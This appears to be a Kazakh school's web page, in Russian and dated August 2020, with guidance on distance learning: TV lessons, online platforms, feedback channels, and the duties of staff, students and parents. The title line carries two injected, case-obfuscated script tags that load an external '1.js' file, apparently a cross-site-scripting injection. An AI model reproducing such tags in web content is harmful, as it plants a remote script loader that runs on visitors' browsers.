Информирование родителей и обучающихся 5-11 классов по обучению в дистанционном формате. Н.Меркер, директор школы<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

08.08.2020

Рекомендации учащимся 5-11 классов обучающимся в дистанционном формате.

1. ВЫБРАТЬ ФОРМАТ ДИСТАНЦИОННОГО ОБУЧЕНИЯ

• посредством телеуроков;
• использование интернет-платформ;

1. ИНФОРМИРОВАТЬ ОБУЧАЮЩИХСЯ И ИХ РОДИТЕЛЕЙ

• о том, что организация процесса дистанционного обучения будет не по традиционному, жестко фиксированному для всей школы расписанию, а  по гибкому, индивидуальному графику;

• о том, какое количество учебных предметов для изучения будет предусмотрено каждый день согласно рабочему учебному плану школы, при этом время занятий по предметам не будет указано для всех классов;

• о том, что продолжительность занятия по одному предмету неуказывается и зависит от достижения целей обучения обучающимся и выполнением заданий;

• о демонстрации телеуроков по телеканалам «ELARNA», «Алфараби» (расписание)

• о том, что повтор телеуроков в любое удобное время можнопросмотреть на платформах BilimLand, телевизионных youtube-каналах;

• о возможностях интернет ресурсов для организации дистанционного обучения – BilimLand, Kundelik. Kz, Daryn.online, Microsoft TEAMS, GoogleClassRoom;

• об индивидуальном графике обучения учащихся в течение дня;

• о методах и средствах получения учебного задания на каждый день  и их выполнении в удобное для обучающегося время;

• о предоставлении обратной связи через электронные журналы или  иные определенные учителем доступные виды связи, в том числе мессенджеры;

• о том, что в электронный дневник не будет вноситься информация о посещаемости.

• о том, что занятия в дистанционном формате требуют поддержки и участия родителей, самостоятельной работы школьника с заданиями.

 

1. Согласно рабочему учебному плану школы проводятся занятия по всем учебным предметам 100%. (физкультура, художественный труд и т.п.)

 

1. ПРИ ОРГАНИЗАЦИИ РАБОТЫ НЕОБХОДИМО УЧИТЫВАТЬ,

что на период проведения занятий в дистанционном режиме:

Нельзя требовать от родителей фото, видео подтверждения выполнения школьниками заданий;

Не требуется заполнение и сдача учителями дополнительных видов отчетов, касающихся дистанционного обучения;

Объём учебных заданий для обучающихся не должен превышать объема, рекомендуемого  МОН РК;

Учитывать психо-эмоциональное состояние участников образовательного процесса.

Составляется гибкое расписание дистанционных уроков при обязательном выполнении Государственных общеобязательных стандартов образования, учебных программ, учебных планов.

1. ОРГАНИЗОВАТЬ ПЕДАГОГИЧЕСКУЮ ДЕЯТЕЛЬНОСТЬ С УЧЕТОМ ПРИЕМЛЕМОГО, ДОСТУПНОГО И УДОБНОГО ФОРМАТА ДИСТАНЦИОННОГО ОБУЧЕНИЯ

 

1. ПРИ ИСПОЛЬЗОВАНИИ ФОРМАТА ТЕЛЕУРОКА (аудио-урока):

• На основе поурочного планирования рекомендовать обязательный просмотр  телеуроков;

• предоставить обучающимся задания для самостоятельного изучения/выполнения после просмотра телеуроков, ссылки на ЦОРы на доступных платформах и каналах (при наличии технических возможностей);

• предоставить задание на самостоятельное выполнение в системе электронных журналов, через электронную почту, WhatsApp, другие мессенджеры;

• осуществлять обратную связь посредством электронных журналов kundelik.kz, систем bilimal.kz, mektep.edu.kz, в случаях отсутствия электронных журналов – через доступные виды связи на усмотрение педагога (периодичность предоставления обратной связи учитель определяет самостоятельно).

 Информация о телеуроках:

• Телеканал «АЛФАРАБИ» (дополнительно транслируются аудиоуроки на «Қазақ радиосы») – для обучающихся на казахском языке.

• Телеканал «ELARNA» Телеуроки в ряде регионов будут ретранслироваться через местные региональные каналы.

• Телеуроки (аудиоуроки) проводятся 5 дней в неделю по 10

минут каждый урок по учебным предметам 1-11 (12) классов.

  Структура телеурока:

• видео-объяснение нового учебного материала учителем (6 минут);

• 2-3 вопроса для закрепления на экране крупным шрифтом (1 минута);

• 2-3 учебных задания для закрепления на экране крупным шрифтом (1 минута);

• 1-2 дополнительные цифровые ресурсы по теме (1 минута);
• ссылки на дополнительные ресурсы для самостоятельного изучения (1 минута). 

Перечень предметов, определенных для трансляции на ТВ будет отправлен позднее, также будет освещаться в социальных сетях.

1. ПРИ ПРОВЕДЕНИИ ЗАНЯТИЯ ЧЕРЕЗ ИНТЕРНЕТ-ПЛАТФОРМЫ:

 На основе поурочного планирования педагог предоставляет обучающимся учебный материал для самостоятельного изучения/ выполнения заданий из учебника, кроме этого рекомендует занятия, размещенные на интернет-платформах, а также использование  доступных цифровых образовательных ресурсов. 

Рекомендуемые интернет- платформы:

• BilimLand;
• Daryn.online

           Цифровые образовательные ресуры:

• OnLine;
• QaradomalakStudio;
• Оkz
• Microsoft TEAMS
• GoogleClassRoom;

  Данные интернет-платформы не предназначены для организации учебного процесса в онлайн режиме. 

  Предоставить учебное задание на самостоятельное выполнение можно в системе электронных журналов, интернет-платформы, через электронную почту, WhatsApp, другие мессенджеры.

 Осуществлять обратную связь рекомендуется посредством kundelik.kz, bilimal.kz, mektep.edu.kz, в случаях отсутствия электронных журналов – через доступные виды связи по усмотрению учителя (периодичность предоставления обратной связи учитель определяет самостоятельно).

   

Алгоритм разработки контента и проведение дистанционного урока:

1.Определить тему и тип урока (изучение новой темы, повторение, углубление, контроль и т.д.).

2. Проработать организационную модель урока

3.Определить перечень учебных средств    

4.Обеспечить доступность учебных материалов обучающемуся:

• электронная почта;
• групповые/индивидуальные чаты в мессенджерах и

социальных сетях WhatsApp, Telegram и др. («Дистанционное обучение класс, литер»; установление правил работы в WhatsApp для всех его участников).

5.Использовать различные информационные обучающие материалы (текстовые, презентации, графические, медиа, рисунки, таблицы, инфографика и др.).

6. Применять различные методы организации занятий (частично-поисковой, эвристический с проблемным изложением материала, исследовательский и др.)

7.Предоставить возможность обучающимся просмотреть телеурок/ видеоурок (если он записан ранее) в любое время (офлайн режим).

8. Предоставить обучающимся задания для самостоятельного изучения и выполнения:

• всем обучающимся с учетом их индивидуальных

возможностей и способностей;

• творческие (написать заметку, характеристику героя,

аннотацию к книге и др.), проектные работы, исследование и др.;

• групповые работы обучающихся в чате социальной

сети, в групповой переписке в почте (распределить роли);

• согласно дидактическим принципам,

читаемость/эстетичность подготовки учебного материала и задания для самостоятельного выполнения;

с указанием ссылок на ЦОРы.

• Организовать обратную связь с обучающимися:
• принимать результаты выполненных работ школьников;
• проводить анализ выполненного задания;
• комментировать и предоставлять рекомендации;
• ознакомить обучающегося с результатами;
• проводить индивидуальные консультации для

обучающихся, в том числе для детей с особыми образовательными потребностями при необходимости;

    Обратная связь осуществляется посредством:

• электронных журналов, интернет-платформ;
• электронную почту;
• месcенджеров – whatsapp, telegram и др.;
• мобильная и стационарная телефонная связь;
• почтовую связь.

 

3 ПЕРЕДАЧА УЧЕБНЫХ МАТЕРИАЛОВ ЧЕРЕЗ КАЗПОЧТУ ПРИ   ОТСУТСТВИИ СВЯЗИ, ИНТЕРНЕТА

На бумажном носителе для обучающихся необходимо:

• указать наименование класса, название предмета, тему занятия, страницу учебника;

• написать краткий конспект по теме занятия;
• обозначить перечень вопросов из учебника для самостоятельного закрепления и выполнения;

• предложить дополнительные материалы по теме и механизм обратной связи.

 ПРЕДПОЛАГАЕМЫЙ РЕЖИМ ДНЯ ОБУЧАЮЩЕГОСЯ

1. Просмотр материалов и учебных заданий по учебным предметам (каждый определяет самостоятельно время).

1. Обучающийся находится на связи с классным руководителем (по мере необходимости).

1. Ученик выполняет полученные задания в удобное для него время и отправляет педагогам работу по мере их выполнения. 

1. В любом доступном режиме работает с учителем или направляет учителю возникшие вопросы.

1. Планирует следующий день.

 

ДЕЯТЕЛЬНОСТЬ УЧАСТНИКОВ ОБРАЗОВАТЕЛЬНОГО ПРОЦЕССА

Директор школы:

• обеспечивает организацию дистанционного процесса обучения, в том числе технические условия;

• принимает управленческие решения, направленные на повышение качества работы;

• осуществляет обратную связь с педагогами, обучающимися и их родителями (законными представителями) по мере необходимости;

• организует доставку учебных заданий и сбор выполненных работ обучающихся, не имеющих доступ к сети Интернет и средствам связи;

• обеспечивает строгое соблюдение требований по использованию  индивидуальных средств защиты;

• не допускает запрашивание непредусмотренной отчетной документации.

          Заместитель директора по учебной работе:

• доводит до педагогов количество часов согласно Типового учебного плана по каждому предмету;

• совместно с учителями-предметниками определяет организацию дистанционной учебной деятельности обучающихся: методы и приемы обучения, сроки получения учебных заданий обучающимися и представления ими выполненных работ;

• осуществляет информирование всех участников процесса обучения (педагогов, обучающихся, родителей (законных представителей) обучающихся, иных работников) об организации дистанционной работы;

• осуществляет методическое сопровождение в ходе организации дистанционного процесса обучения; 

• осуществляет обратную связь с участниками дистанционного процесса обучения по мере необходимости;

• координирует работу по выполнению учебной нагрузки педагогами.

         Заместитель директора по воспитательной работе, педагог-организатор:

• разрабатывает контент для воспитательных мероприятий с использованием информационно-коммуникационных технологий и телекоммуникационных средств;

• проводит мероприятия в дистанционном режиме (через социальные сети, сайт школы и другие);

• размещает информацию о проведенных мероприятиях в социальных сетях, на сайте школы;

• координирует работу классных руководителей.

     Педагог-предметник:

• своевременно доводит информацию о видах работы до сведения обучающихся, их родителей (законных представителей), используя электронные журналы и дневники и другие доступные способы связи;

• своевременно осуществляет корректировку поурочного планирования и структуризацию учебных материалов;

• применяет оптимальные и разнообразные виды деятельности (телеуроки, посредством интернет-платформ, самостоятельная работа, чат-занятия и др.), доступные информационно-коммуникационные технологии;    

• предоставляет задания согласно нормам объема домашнего задания;

• осуществляет контроль за самостоятельной работой обучающегося, предоставляет обратную связь;

• осуществляет сбор выполненных заданий доступным для учителя и ученика способом (электронные журналы и дневники, электронная почта, WhatsApp, Telegram, др. мессенджеры, мобильная или стационарная телефонная связь или через работников школы, операторов почтовой связи, определённых администрацией – в случаях отсутствия Интернета  и другие);

• проводит индивидуальные консультации для обучающихся, в том числе для детей с особыми образовательными потребностями.

• Дистанционно проводятся уроки по предметам: «Физическая культура», «Самопознание», «Художественный труд», «Музыка», «Начальная военная и технологическая подготовка», «Основы предпринимательства и бизнеса», «Графика и проектирование»,  а  учителя выполняют следующие виды работ:

–  разрабатывают комплекс физических и строевых упражнений для выполнения обучающимися дома (Физическая культура, Начальная военная и технологическая подготовка);

–  разрабатывают инструкции по изготовлению поделок, макетов и другое (Художественный труд, графика и проектирование);

– осуществляют консультации по проектной деятельности (Самопознание, Основы предпринимательства и бизнеса);

– предоставляют перечень музыкальных произведений, которые необходимо прослушать, оказывает необходимые консультации (Музыка);

– участвуют в организации и проведении воспитательных мероприятий в дистанционном формате.

• Педагоги предшкольных классов общеобразовательных школ

ведут дистанционные занятия по основным предметам: основы грамоты, формирование элементарных математических представлений, ознакомление с окружающим миром.

• Педагоги по предмету «Самопознание» при проведении

уроков могут руководствоваться рекомендациями ННПОиО Центра «Бобек», размещенных на ссылке:http://school.ozin-ozi-tanu.kz//. 

Обучающийся:

• находится на ежедневной связи с классным руководителем и учителями-предметниками;

• ежедневно самостоятельно изучает учебные материалы учебника, выполняет задания, в том числе через доступные средства связи;

• заходит в личный кабинет в электронном дневнике (электронный дневник, электронная почта, WhatsApp чаты и др. в случаях отсутствия интернета, связи – через педагога, оператора почтовой связи по определению администрации школы) для получения учебного материала и заданий, для самостоятельного изучения/выполнения (по возможности);

• предоставляет выполненные задания в соответствии с требованиями педагогов, отправляя их педагогу через доступные средства связи (электронный дневник, электронная почта, WhatsApp чаты и др. в случаях отсутствия интернета, связи – через педагога, оператора почтовой связи по определению администрации школы);

• соблюдает правила академической честности и принципы самоконтроля при выполнении учебных заданий;

• использует дополнительные цифровые образовательные ресурсы.

Родители (законные представители) обучающихся:

• создают обучающемуся условия для обучения;
• осуществляют контроль за обучением детей, выполнением обучающимися самостоятельных заданий;

• поддерживают связь с классным руководителем и учителями- предметниками;
• если в семье несколько детей, которые не имеют одновременного доступа к компьютеру, необходимо установить свой режим занятий в порядке очередности, соблюдая перечень предметов, время уроков и перемен. Во время перемен ребенок должен встать, подвигаться и проветрить комнату.

 

Педагог-психолог:

• разрабатывает рекомендации по психологической поддержке обучающихся и их родителей (законных представителей) в условиях дистанционного обучения;

• индивидуально проводит консультацию с обучающимися, с родителями (законными представителями).

         Классный руководитель:

• информирует родителей (законных представителей) о процессе обучения, о предоставлении обратной связи обучающимся, о ходе обучения и учебных результатах, о необходимости создания условий для самостоятельной работы обучающихся;

• создает и использует чаты, форумы обучающихся и их родителей в системах электронных журналов и дневников, а также через Whatsapp, Telegram и другие;

• осуществляет ежедневную связь с обучающимися и их родителями (законными представителями);

• предоставляет учителям-предметникам, педагогу-психологу списки своего класса с контактными данными обучающихся (номер домашнего, сотового телефона, электронная почта).